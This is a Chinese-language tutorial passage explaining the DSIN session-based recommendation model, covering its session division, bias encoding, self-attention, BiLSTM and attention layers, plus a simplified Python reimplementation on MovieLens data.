+这里在说DSIN之前，作者也是又复习了一下base model模型架构，这里我就不整理了，其实是和DIEN那里一模一样的，具体的可以参考我上一篇文章。直接看DSIN的架构：
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/20210310151619214.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述" style="zoom:90%;" /> 
+</div>
+
+这个模型第一印象又是挺吓人的。核心的就是上面剖析的那四块，这里也分别用不同颜色表示出来了。也及时右边的那几块，左边的那两块还是我们之前的套路，用户特征和商品特征的串联。这里主要研究右边那四块，作者在这里又强调了下DSIN的两个目的，而这两个目的就对应着本模型最核心的两个层(会话兴趣提取层和会话交互层)：
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/20210310151921213.png#pic_center" alt="在这里插入图片描述" style="zoom:90%;" /> 
+</div>
+
+#### Session Division Layer
+这一层是将用户的行为序列进行切分，首先将用户的点击行为按照时间排序，判断两个行为之间的时间间隔，如果前后间隔大于30min，就进行切分(划一刀)， 当然30min不是定死的，具体跟着自己的业务场景来。
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/20210310152906432.png#pic_center" alt="在这里插入图片描述" style="zoom:90%;" /> 
+</div>
+
+划分完了之后，我们就把一个行为序列$\mathbf{S}$转成了Sessions $\mathbf{Q}$，比如上面这个分成了4个会话，会分别用$\mathbf{Q_1}, \mathbf{Q_2}, \mathbf{Q_3}, \mathbf{Q_4}$表示。 第$k$个会话$\mathbf{Q_k}$中，又包含了$T$个行为，即
+$$
+\mathbf{Q}_{k}=\left[\mathbf{b}_{1} ; \ldots ; \mathbf{b}_{i} ; \ldots ; \mathbf{b}_{T}\right] \in \mathbb{R}^{T \times d_{\text {model }}}
+$$
+$\mathbf{b}_{i}$表示的是第$k$个会话里面的第$i$个点击行为(具体的item)，这个东西是一个$d_{model}$维的embedding向量。所以$\mathbf{Q}_{k}$是一个$T \times d_{\text {model }}$维的。 而整个大$\mathbf{Q}$, 就是一个$K\times T \times  d_{\text {model }}$维的矩阵。 这里的$K$指的是session的个数。 这样，就把这个给捋明白了。但要注意，这个层是在embedding层之后呀，也就是各个商品转成了embedding向量之后，我们再进行切割。
+
+#### Session Interest Extractor Layer
+这个层是学习每个会话中各个行为之间的关系，之前也分析过，在同一个会话中的各个商品的相关性是非常大的。此外，作者这里还提到，用户的随意的那种点击行为会偏离用户当前会话兴趣的表达，所以**为了捕获同一会话中行为之间的内在关系，同时降低这些不相关行为的影响**，这里采用了multi-head self-attention。关于这个东西， 这里不会详细整理，可以参考我之前的文章。这里只给出两个最核心关键的图，有了这两个图，这里的知识就非常容易理解了哈哈。
+
+第一个，就是Transformer的编码器的一小块：
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/20210310154530852.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述" style="zoom:90%;" /> 
+</div>
+
+拿过来是为了更好的对比，看DSIN的结构的第二层，其实就是这个东西。 而这个东西的整体的计算过程，我在之前的文章中剖析好了：
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/20200220195348122.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_16,color_FFFFFF,t_70" alt="在这里插入图片描述" style="zoom:90%;" /> 
+</div>
+
+有了上面这两张图，在解释这里就非常好说了。
+
+这一块其实是分两步的，第一步叫做位置编码，而第二步就是self-attention计算关联。 同样，DSIN中也是这两步，只不过第一步里面的位置编码，作者在这里做了点改进，称为**Bias Encoding**。先看看这个是怎么做的。
+>这里先解释下为啥要进行位置编码或者Bias Encoding， 这是因为我们说self-attention机制是要去学习会话里面各个商品之间的关系的， 而商品我们知道是一个按照时间排好的小序列，由于后面的self-attention并没有循环神经网络的迭代运算，所以我们必须提供每个字的位置信息给后面的self-attention，这样后面self-attention的输出结果才能蕴含商品之间的顺序信息。
+
+在Transformer中，对输入的序列会进行Positional Encoding。Positional Encoding对序列中每个物品，以及每个物品对应的Embedding的每个位置，进行了处理，如下：
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/20210310155625208.png#pic_center" alt="在这里插入图片描述" style="zoom:90%;" /> 
+</div>
+
+上式中$pos$指的是某个会话里面item位于第几个位置位置, 取值范围是$[0, max\_len]$, $i$指的是词向量的某个维度, 取值范围是$[0, embed \_ dim]$, 上面有$sin$和$cos$一组公式, 也就是对应着$embed \_ dim$维度的一组奇数和偶数的序号的维度, 例如$0, 1$一组, $2, 3$一组, 分别用上面的$sin$和$cos$函数做处理, 从而产生不同的周期性变化, 而位置嵌入在$embed \_ dim$维度上随着维度序号增大, 周期变化会越来越慢, 而产生一种包含位置信息的纹理, 位置嵌入函数的周期从$2 \pi$到$10000 * 2 \pi$变化, 而每一个位置在$embed \_ dim$维度上都会得到不同周期的$sin$和$cos$函数的取值组合, 从而产生独一的纹理位置信息, 模型从而学到位置之间的依赖关系和自然语言的时序特性。这个在这里说可能有些迷糊，具体可以去另一篇文章看细节，**总结起来，就是通过这个公式，可以让每个item在每个embedding维度上都有独特的位置信息。但注意，位置编码的矩阵和输入的维度是一样的，这样两者加起来之后就相当于原来的序列加上了位置信息**  。 
+
+而这里，作者并不是用的这种方式，这是因为在这里还需要考虑各个会话之间的位置信息，毕竟这里是多个会话，并且各个会话之间也是有位置顺序的呀，所以还需要对每个会话添加一个Positional Encoding， 在DSIN中，这种对位置的处理，称为Bias Encoding。
+
+于是乎作者在这里提出了个$\mathbf{B E} \in \mathbb{R}^{K \times T \times d_{\text {model }}}$，会发现这个东西的维度和会话分割层得到的$\mathbf{Q}$的维度也是一样的啊，其实这个东西就是这里使用的位置编码。那么这个东西咋计算呢？
+$$
+\mathbf{B} \mathbf{E}_{(k, t, c)}=\mathbf{w}_{k}^{K}+\mathbf{w}_{t}^{T}+\mathbf{w}_{c}^{C}
+$$
+$\mathbf{B} \mathbf{E}_{(k, t, c)}$表示的是第$k$个会话中，第$t$个物品在第$c$维度这个位置上的偏置项(是一个数), 其中$\mathbf{w}^{K} \in \mathbb{R}^{K}$表示的会话层次上的偏置项(位置信息)。如果有$n$个样本的话，这个应该是$[n, K, 1, 1]$的矩阵， 后面两个维度表示的$T$和$emb \_dim$。$\mathbf{w}^{T} \in \mathbb{R}^{T}$这个是在会话里面时间位置层次上的偏置项(位置信息)，这个应该是$[n, 1, T, 1]$的矩阵。$\mathbf{w}^{C} \in \mathbb{R}^{d_{\text {model }}}$这个是embedding维度层次上的偏置(位置信息)， 这个应该是$[n, 1, 1, d_{model}]$的矩阵。 而上面的$\mathbf{w}_{k}^{K},\mathbf{w}_{t}^{T},\mathbf{w}_{c}^{C}$都是表示某个维度上的具体的数字，所以$\mathbf{B} \mathbf{E}_{(k, t, c)}$也是一个数。
+
+所以$\mathbf{B} \mathbf{E}$就是一个$[n,K, T, d_{model}]$的矩阵(这里其实是借助了广播机制的)，蕴含了每个会话，每个物品，每个embedding位置的位置信息，所以经过Bias编码之后，得到的结果如下：
+$$
+\mathbf{Q}=\mathbf{Q}+\mathbf{B} \mathbf{E}
+$$
+这个$\mathbf{Q}$的维度$[n,K, T, d_{model}]$， 当然这里我们先不考虑样本个数，所以是$[K, T, d_{model}]$。相比上面的transformer，这里会多出一个会话的维度来。
+
+接下来，就是每个会话的序列都通过Transformer进行处理:
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/20210310163256416.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述" style="zoom:90%;" /> 
+</div>
+
+一定要注意，这里说的是每个会话，这里我特意把下面的$Q_1$框出来了，就是每个$Q_i$都会走这个自注意力机制，因为我们算的是某个会话当中各个物品之间的关系。这里的计算和Transformer的block的计算是一模一样的了， 我这里就拿一个会话来解释。
+
+首先$Q_1$这是一个$T\times embed \_dim$的一个矩阵，这个就和上面transformer的那个是一模一样的了，细节的计算过程其实是一样的。
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/20200220194509277.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_16,color_FFFFFF,t_70" alt="在这里插入图片描述" style="zoom:90%;" /> 
+</div>
+
+这里在拿过更细的个图来解释，首先这个$Q_1$会过一个多头的注意力机制，这个东西干啥用呢？ 原理这里不说，我们只要知道，这里的头其实是从某个角度去看各个物品之间的关系，而多头的意思就是从不同的角度去计算各个物品之间的关系， 比如各个物品在价格上啊，重量上啊，颜色上啊，时尚程度上啊等等这些不同方面的关系。然后就是看这个运算图，我们会发现self-attention的输出维度和输入维度也是一样的，但经过这个多头注意力的东西之后，**就能够得到当前的商品与其他商品在多个角度上的相关性**。怎么得到呢？ 
+>拿一个head来举例子：<br>
+>我们看看这个$QK^T$在表示啥意思：
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/20200220195022623.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述" style="zoom:90%;" /> 
+</div>
+
+>假设当前会话有6个物品，embedding的维度是3的话，那么会看到这里一成，得到的结果中的每一行其实表示的是当前商品与其他商品之间的一个相似性大小(embedding内积的形式算的相似)。而沿着最后一个维度softmax归一化之后，得到的是个权重值。这是不是又想起我们的注意力机制来的啊，这个就叫做注意力矩阵，我们看看乘以V会是个啥
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/20200220195243968.png#pic_center" alt="在这里插入图片描述" style="zoom:90%;" /> 
+</div>
+
+>这时候，我们从注意力矩阵取出一行（和为1），然后依次点乘V的列，因为矩阵V的每一行代表着每一个字向量的数学表达，这样操作，**得到的正是注意力权重进行数学表达的加权线性组合，从而使每个物品向量都含有当前序列的所有物品向量的信息**。而多头，不过是含有多个角度的信息罢了，这就是Self-attention的魔力了。
+
+
+好了， 下面再看论文里面的描述就非常舒服了，如果令$\mathbf{Q}_{k}=\left[\mathbf{Q}_{k 1} ; \ldots ; \mathbf{Q}_{k h} ; \ldots ; \mathbf{Q}_{k H}\right]$， 这里面的$\mathbf{Q}_{k h} \in \mathbb{R}^{T \times d_{h}}$代表的就是多头里面的某一个头了，由于这多个头合起来的维度$d_{model}$维度，那么一个头就是$d_{h}=\frac{1}{h} d_{\text {model }}$， 这里必须要保证能整除才行。这里用了$h$个头。某个头$h$的计算为：
+$$
+\begin{aligned}
+\text { head }_{h} &=\text { Attention }\left(\mathbf{Q}_{k h} \mathbf{W}^{Q}, \mathbf{Q}_{k h} \mathbf{W}^{K}, \mathbf{Q}_{k h} \mathbf{W}^{V}\right) \\
+&=\operatorname{softmax}\left(\frac{\mathbf{Q}_{k h} \mathbf{W}^{Q} \mathbf{W}^{K^{T}} \mathbf{Q}_{k h}^{T}}{\sqrt{d_{m o d e l}}}\right) \mathbf{Q}_{k h} \mathbf{W}^{V}
+\end{aligned}
+$$
+这里是某一个头的计算过程， 这里的$\mathbf{W}^{Q}, \mathbf{W}^{K}, \mathbf{W}^{Q}$是要学习的参数，由于是一个头，维度应该是$\frac{1}{h} d_{\text {model }}\times \frac{1}{h} d_{\text {model }}$, 这样的话softmax那块算出来的是$T \times T$的矩阵， 而后面是一个$T \times \frac{1}{h} d_{\text {model }}$的矩阵，这时候得到的$head_h$是一个$T \times \frac{1}{h} d_{\text {model }}$的矩阵。 而$h$个头的话，正好是$T \times  d_{\text {model }}$的维度，也就是我们最后的输出了。即下面这个计算：
+$$
+\mathbf{I}_{k}^{Q}=\operatorname{FFN}\left(\text { Concat }\left(\text { head }_{1}, \ldots, \text { head }_{H}\right) \mathbf{W}^{O}\right)
+$$
+这个是self-attention 的输出再过一个全连接网络得到的。如果是用残差网络的话，最后的结果依然是个$T \times  d_{\text {model }}$的，也就是$\mathbf{I}_{k}^{Q}$的维度。这时候我们在$T$的维度上进行一个avg pooling的操作，就能够把每个session兴趣转成一个$embedding$维的向量了，即
+$$
+\mathbf{I}_{k}=\operatorname{Avg}\left(\mathbf{I}_{k}^{Q}\right)
+$$
+即这个$\mathbf{I}_{k}$是一个embedding维度的向量， 表示当前用户在第$k$会话的兴趣。这就是一个会话里面兴趣提取的全过程了，如果用我之前的神图总结的话就是：
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/20200220204538414.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70" alt="在这里插入图片描述" style="zoom:90%;" /> 
+</div>
+
+不同点就是这里用了两个transformer块，开始用的是bias编码。
+
+接下来就是不同的会话都走这样的一个Transformer网络，就会得到一个$K \times embed \_dim$的矩阵，代表的是某个用户在$K$个会话里面的兴趣信息， 这个就是会话兴趣提取层的结果了。 两个注意点：
+1. 这$K$个会话是走同一个Transformer网络的，也就是在自注意力机制中不同的会话之间权重共享
+2. 最后得到的这个矩阵，$K$这个维度上是有时间先后关系的，这为后面用LSTM学习这各个会话之间的兴趣向量奠定了基础。
+
+#### Session Interest Interacting Layer
+感觉这篇文章最难的地方在上面这块，所以我用了些篇幅，而下面这些就好说了，因为和之前的东西对上了又。 首先这个会话兴趣交互层
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/20210310172547359.png#pic_center" alt="在这里插入图片描述" style="zoom:90%;" /> 
+</div>
+
+作者这里就是想通过一个双向的LSTM来学习下会话兴趣之间的关系， 从而增加用户兴趣的丰富度，或许还能学习到演化规律。 
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/img_convert/8aa8363c1efa5101e578658515df7eba.png#pic_center" alt="在这里插入图片描述" style="zoom:90%;" /> 
+</div>
+
+双向的LSTM这个，这里就不介绍了，关于LSTM之前我也总结过了，无非双向的话，就是先从头到尾计算，在从尾到头回来。所以这里每个时刻隐藏状态的输出计算公式为：
+$$
+\mathbf{H}_{t}=\overrightarrow{\mathbf{h}_{f t}} \oplus \overleftarrow{\mathbf{h}_{b t}}
+$$
+这是一个$[1,\#hidden\_units]$的维度。相加的两项分别是前向传播和反向传播对应的t时刻的hidden state,这里得到的隐藏层状态$H_t$, 我们可以认为是混合了上下文信息的会话兴趣。
+#### Session Interest Activating Layer
+用户的会话兴趣与目标物品越相近，那么应该赋予更大的权重，这里依然使用注意力机制来刻画这种相关性，根据结构图也能看出，这里是用了两波注意力计算：
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/20210310173413453.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述" style="zoom:90%;" /> 
+</div>
+
+由于这里的这种局部Attention机制，DIN和DIEN里都见识过了， 这里就不详细解释了， 简单看下公式就可以啦。
+1. 会话兴趣提取层
+$$
+\begin{aligned}
+a_{k}^{I} &=\frac{\left.\exp \left(\mathbf{I}_{k} \mathbf{W}^{I} \mathbf{X}^{I}\right)\right)}{\sum_{k}^{K} \exp \left(\mathbf{I}_{k} \mathbf{W}^{I} \mathbf{X}^{I}\right)} \\
+\mathbf{U}^{I} &=\sum_{k}^{K} a_{k}^{I} \mathbf{I}_{k}
+\end{aligned}
+$$
+这里$X^I$是候选商品的embedding向量， 是$[embed \_dim,1]$的维度, $I_k$是$[1, embed \_dim]$的，而$W^I$是一个$[embed \_dim, embed \_dim]$， 所以这样能算出个分数，表示当前会话兴趣与候选商品之间的相似性程度。 而最终的$U^I$是各个会话兴趣向量的加权线性组合， 维度是$[1, embed \_dim]$。
+2. 会话兴趣交互层
+同样，混合了上下文信息的会话兴趣，也进行同样的处理：
+$$
+\begin{aligned}
+a_{k}^{H} &=\frac{\left.\exp \left(\mathbf{H}_{k} \mathbf{W}^{H} \mathbf{X}^{I}\right)\right)}{\sum_{k}^{K} \exp \left(\mathbf{H}_{k} \mathbf{W}^{H} \mathbf{X}^{I}\right)} \\
+\mathbf{U}^{H} &=\sum_{k}^{K} a_{k}^{H} \mathbf{H}_{k}
+\end{aligned}
+$$
+这里$X^I$是候选商品的embedding向量， 是$[embed \_dim,1]$的维度, $H_k$是$[1, \# hidden \_units]$的，而$W^I$是一个$[ \# hidden \_units,  embed \_dim]$， 所以这样能算出个分数，当然实际实现，这里都是过神经网络的，表示混合了上下文信息的当前会话兴趣与候选商品之间的相似性程度。 而最终的$U^H$是各个混合了上下文信息的会话兴趣向量的加权线性组合， 维度是$[1,  \# hidden \_units]$。
+ 
+
+#### Output Layer
+这个就很简单了，上面的用户行为特征， 物品行为特征以及求出的会话兴趣特征进行拼接，然后过一个DNN网络，就可以得到输出了。
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/20210310174905503.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述" style="zoom:90%;" /> 
+</div>
+
+损失这里依然用的交叉熵损失：
+$$
+L=-\frac{1}{N} \sum_{(x, y) \in \mathbb{D}}(y \log p(x)+(1-y) \log (1-p(x)))
+$$
+这里的$x$表示的是$\left[\mathbf{X}^{U}, \mathbf{X}^{I}, \mathbf{S}\right]$，分布表示用户特征，物品特征和会话兴趣特征。
+
+到这里DSIN模型就解释完毕了。
+
+### 论文的其他细节
+这里的其他细节，后面就是实验部分了，用的数据集是一个广告数据集一个推荐数据集， 对比了几个比较经典的模型Youtubetnet, W&D, DIN, DIEN, 用了RNN的DIN等。并做了一波消融实验，验证了偏置编码的有效性， 会话兴趣抽取层和会话交互兴趣抽取层的有效性。 最后可视化的self-attention和Action Unit的图比较有意思：
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/20210310175643572.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述" style="zoom:90%;" /> 
+</div>
+
+好了，下面就是DSIN的代码细节了。
+## DSIN的代码复现细节
+下面就是DSIN的代码部分，这里我依然是借鉴了Deepctr进行的简化版本的复现， 这次复现代码会非常多，因为想借着这个机会学习一波Transformer，具体的还是参考我后面的GitHub。 下面开始：
+
+### 数据处理
+首先， 这里使用的数据集还是movielens数据集，延续的DIEN那里的，没来得及尝试其他，这里说下数据处理部分和DIEN不一样的地方。最大的区别就是这里的用户历史行为上的处理， 之前的是一个历史行为序列列表，这里得需要把这个列表分解成几个会话的形式， 由于每个用户的会话还不一定一样长，所以这里还需要进行填充。具体的数据格式如下：
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/20210312161159945.png" alt="在这里插入图片描述" style="zoom:90%;" /> 
+</div>
+
+就是把之前的hist_id序列改成了5个session。其他的特征那里没有变化。 而特征封装那里，需要把这5个会话封装起来，同时还得记录**每个用户的有效会话个数以及每个会话里面商品的有效个数， 这个在后面计算里面是有用的，因为目前是padding成了一样长，后面要根据这个个数进行mask， 所以这里有两波mask要做**
+
+```python
+feature_columns = [SparseFeat('user_id', max(samples_data["user_id"])+1, embedding_dim=8), 
+                    SparseFeat('gender', max(samples_data["gender"])+1, embedding_dim=8), 
+                    SparseFeat('age', max(samples_data["age"])+1, embedding_dim=8), 
+                    SparseFeat('movie_id', max(samples_data["movie_id"])+1, embedding_dim=8),
+                    SparseFeat('movie_type_id', max(samples_data["movie_type_id"])+1, embedding_dim=8),
+                    DenseFeat('hist_len', 1)]
+
+feature_columns += [VarLenSparseFeat('sess1', vocabulary_size=max(samples_data["movie_id"])+1, embedding_dim=8, maxlen=10, length_name='seq_length1'),
+                    VarLenSparseFeat('sess2', vocabulary_size=max(samples_data["movie_id"])+1, embedding_dim=8, maxlen=10, length_name='seq_length2'), 
+                    VarLenSparseFeat('sess3', vocabulary_size=max(samples_data["movie_id"])+1, embedding_dim=8, maxlen=10, length_name='seq_length3'), 
+                    VarLenSparseFeat('sess4', vocabulary_size=max(samples_data["movie_id"])+1, embedding_dim=8, maxlen=10, length_name='seq_length4'), 
+                    VarLenSparseFeat('sess5', vocabulary_size=max(samples_data["movie_id"])+1, embedding_dim=8, maxlen=10, length_name='seq_length5'), 
+                   ]
+feature_columns += ['sess_length']
+```
+封装代码变成了上面这个样子， 之所以放这里， 我是想说明一个问题，也是我这次才刚刚发觉的，就是这块封装特征的代码是用于建立模型用的， 也就是不用管有没有数据集，只要基于这个feature_columns就能把模型建立出来。 而这里面有几个重要的细节要梳理下：
+1. 上面的那一块特征是常规的离散和连续特征，封装起来即可，这个会对应的建立Input层接收后面的数据输入
+2. 第二块的变长离散特征， 注意后面的`seq_length`，这个东西的作用是标记每个用户在每个会话里面有效商品的真实长度，所以这5个会话建Input层的时候，不仅给前面的sess建立Input，还会给length_name建立Input层来接收每个用户每个会话里面商品的真实长度信息， 这样在后面创建mask的时候才有效。也就是**没有具体数据之前网络就能创建mask信息才行**。这个我是遇到了坑的，之前又忽略了这个`seq_length`， 想着直接用上面的真实数据算出长度来给网络不就行？ 其实不行，因为我们算出来的长度mask给网络的时候，那个样本数已经确定了，这时候会出bug的到后面。 因为真实训练的时候，batch_size是我们自己指定。并且这个思路的话是网络依赖于数据才能建立出来，显然是不合理的。所以一定要切记，**先用`seq_length`在这里占坑，作为一个Input层， 然后过embedding，后面基于传进的序列长度和填充的最大长度用 `tf.sequence_mask`就能建立了**。
+3. 最后的`sess_length`, 这个标记每个用户的有效会话个数，后面在会话兴趣与当前候选商品算注意力的时候，也得进行mask操作，所以这里和上面这个原理是一样的，**必须先用sess_length在这里占坑，创建一个Input层**。 
+4. 对应关系， 既然我们这里封装的时候是这样封装的，这样就会根据上面的建立出不同的Input层，这时候我们具体用X训练的时候，**一定要注意数据对应，也就是特征必须够且能对应起来，这里是通过名字对应的**， 看下面的X:
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/20210312163227832.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述" style="zoom:90%;" /> 
+</div>
+
+真实数据要和Input层接收进行对应好。
+
+好了，关于数据处理就说这几个细节，感觉mask的那个处理非常需要注意。具体的看代码就可以啦。下面重头戏，剖析模型。
+
+### DSIN模型全貌
+有了Deepctr的这种代码风格，使得建立模型会从宏观上看起来非常清晰，简单说下逻辑， 先建立输入层，由于输入的特征有三大类(离散，连续和变长离散)，所以分别建立Input层，然后离散特征还得建立embedding层。下面三大类特征就有了不同的走向：
+1. 连续特征： 这类特征拼先拼接到一块，然后等待最后往DNN里面输入
+2. 普通离散特征： 这块从输入 -> embedding -> 拼接到一块，等待DNN里面输入
+3. 用户的会话特征: 这块从输入 -> embedding -> 会话兴趣分割层(`sess_interest_division`) -> 会话兴趣提取层(`sess_interest_extractor`) -> 会话兴趣交互层(`BiLSTM`) -> 会话兴趣激活层( `AttentionPoolingLayer`) -> 得到两个兴趣性特征
+
+把上面的连续特征，离散特征和兴趣特征拼接起来，然后过DNN得到输出即可。就是这么个逻辑了，具体代码如下：
+
+```python
+def DSIN(feature_columns, sess_feature_list, sess_max_count=5, bias_encoding=True, singlehead_emb_size=1,
+         att_head_nums=8, dnn_hidden_units=(200, 80)):
+    """
+    建立DSIN网络
+    :param feature_columns:  A list， 每个特征的封装 nametuple形式
+    :param behavior_feature_list: A list, 行为特征名称
+    :param sess_max_count: 会话的个数
+    :param bias_encoding: 是否偏置编码
+    :singlehead_emb_size: 每个头的注意力的维度，注意这个和头数的乘积必须等于输入的embedding的维度
+    :att_head_nums:  头的个数
+    :dnn_hidden_units: 这个是全连接网络的神经元个数
+    """
+    
+    # 检查下embedding设置的是否合法，因为这里有了多头注意力机制之后，我们要保证我们的embedding维度 = att_head_nums * att_embedding_size
+    hist_emb_size = sum(
+        map(lambda fc: fc.embedding_dim, filter(lambda fc: fc.name in sess_feature_list, [feature for feature in feature_columns if not isinstance(feature, str)]))
+    )
+    if singlehead_emb_size * att_head_nums != hist_emb_size:
+        raise ValueError(
+            "hist_emb_size must equal to singlehead_emb_size * att_head_nums ,got %d != %d *%d" % (
+                hist_emb_size, singlehead_emb_size, att_head_nums))
+    
+    # 建立输入层
+    input_layer_dict = build_input_layers(feature_columns)
+    # 将Input层转化为列表的形式作为model的输入
+    input_layers = list(input_layer_dict.values())       # 各个输入层
+    input_keys = list(input_layer_dict.keys())         # 各个列名
+    user_sess_seq_len = [input_layer_dict['seq_length'+str(i+1)] for i in range(sess_max_count)]
+    user_sess_len = input_layer_dict['sess_length']
+    
+    # 筛选出特征中的sparse_fra, dense_fea, varlen_fea
+    sparse_feature_columns = list(filter(lambda x: isinstance(x, SparseFeat), feature_columns)) if feature_columns else []
+    dense_feature_columns = list(filter(lambda x: isinstance(x, DenseFeat), feature_columns)) if feature_columns else []
+    varlen_sparse_feature_columns = list(filter(lambda x: isinstance(x, VarLenSparseFeat), feature_columns)) if feature_columns else []
+    
+    # 获取dense
+    dnn_dense_input = []
+    for fc in dense_feature_columns:
+        dnn_dense_input.append(input_layer_dict[fc.name])
+    # 将所有的dense特征拼接
+    dnn_dense_input = concat_input_list(dnn_dense_input)
+    
+    # 构建embedding词典
+    embedding_layer_dict = build_embedding_layers(feature_columns, input_layer_dict)
+    
+    # 因为这里最终需要将embedding拼接后直接输入到全连接层(Dense)中, 所以需要Flatten
+    dnn_sparse_embed_input = concat_embedding_list(sparse_feature_columns, input_layer_dict, embedding_layer_dict, flatten=True)
+    # 将所有sparse特征的embedding进行拼接
+    dnn_sparse_input = concat_input_list(dnn_sparse_embed_input)
+    # dnn_dense_input和dnn_sparse_input这样就不用管了，等待后面的拼接就完事， 下面主要是会话行为兴趣的提取
+    
+    
+    # 首先获取当前的行为特征(movie)的embedding，这里有可能有多个行为产生了行为序列，所以需要使用列表将其放在一起
+    # 这个东西最后求局域Attention的时候使用，也就是选择与当前候选物品最相关的会话兴趣
+    query_embed_list = embedding_lookup(sess_feature_list, input_layer_dict, embedding_layer_dict)
+    query_emb = concat_input_list(query_embed_list)
+    
+    # 下面就是开始会话行为的处理了，四个层来： 会话分割层，会话兴趣提取层，会话兴趣交互层和局部Attention层，下面一一来做
+    
+    # 首先这里是找到会话行为中的特征列的输入层， 其实用input_layer_dict也行
+    user_behavior_input_dict = {}
+    for idx in range(sess_max_count):
+        sess_input = OrderedDict()
+        for i, feat in enumerate(sess_feature_list):  # 我这里只有一个movie_id
+            sess_input[feat] = input_layer_dict["sess" + str(idx+1)]
+        
+        user_behavior_input_dict['sess'+str(idx+1)] = sess_input   # 这里其实是获取那五个会话的输入层
+
+    # 会话兴趣分割层： 拿到每个会话里面各个商品的embedding，并且进行偏置编码，得到transformer的输入
+    transformer_input = sess_interest_division(embedding_layer_dict, user_behavior_input_dict, 
+                                               sparse_feature_columns, sess_feature_list, 
+                                               sess_max_count, bias_encoding=bias_encoding)
+    # 这个transformer_input是个列表，里面的每个元素代表一个会话，维度是(None, max_seq_len, embed_dim)
+    
+    # 会话兴趣提取层： 每个会话过transformer，从多个角度得到里面各个商品之间的相关性(交互)
+    self_attention = Transformer(singlehead_emb_size, att_head_nums, dropout_rate=0, use_layer_norm=True,
+                                 use_positional_encoding=(not bias_encoding), blinding=False)
+    sess_fea = sess_interest_extractor(transformer_input, sess_max_count, self_attention, user_sess_seq_len)
+    # 这里的输出sess_fea是个矩阵，维度(None, sess_max_cout, embed_dim), 这个东西后期要和当前的候选商品求Attention进行sess维度上的加权
+    
+    # 会话兴趣交互层  上面的transformer结果，过双向的LSTM
+    lstm_output = BiLSTM(hist_emb_size, layers=2, res_layers=0, dropout_rate=0.2)(sess_fea)
+    # 这个lstm_output是个矩阵，维度是(None, sess_max_count, hidden_units_num)
+    
+    # 会话兴趣激活层  这里就是计算两波注意力
+    interest_attention = AttentionPoolingLayer(user_sess_len)([query_emb, sess_fea])
+    lstm_attention = AttentionPoolingLayer(user_sess_len)([query_emb, lstm_output])
+    # 上面这两个的维度分别是(None, embed_size), (None, hidden_units_num)  这里embed_size=hidden_units_num
+    
+    # 下面就是把dnn_sense_input, dnn_sparse_input, interest_attention, lstm_attention拼接起来
+    deep_input = Concatenate(axis=-1)([dnn_dense_input, dnn_sparse_input, interest_attention, lstm_attention])
+    
+    # 全连接接网络, 获取最终的dnn_logits
+    dnn_logits = get_dnn_logits(deep_input, activation='prelu')
+    
+    model = Model(input_layers, dnn_logits)
+    
+    # 所有变量需要初始化
+    tf.compat.v1.keras.backend.get_session().run(tf.compat.v1.global_variables_initializer())
+    
+    return model
+```
+下面开始解释每块的细节实现。
+
+### 会话兴趣分割层(sess_interest_division) 
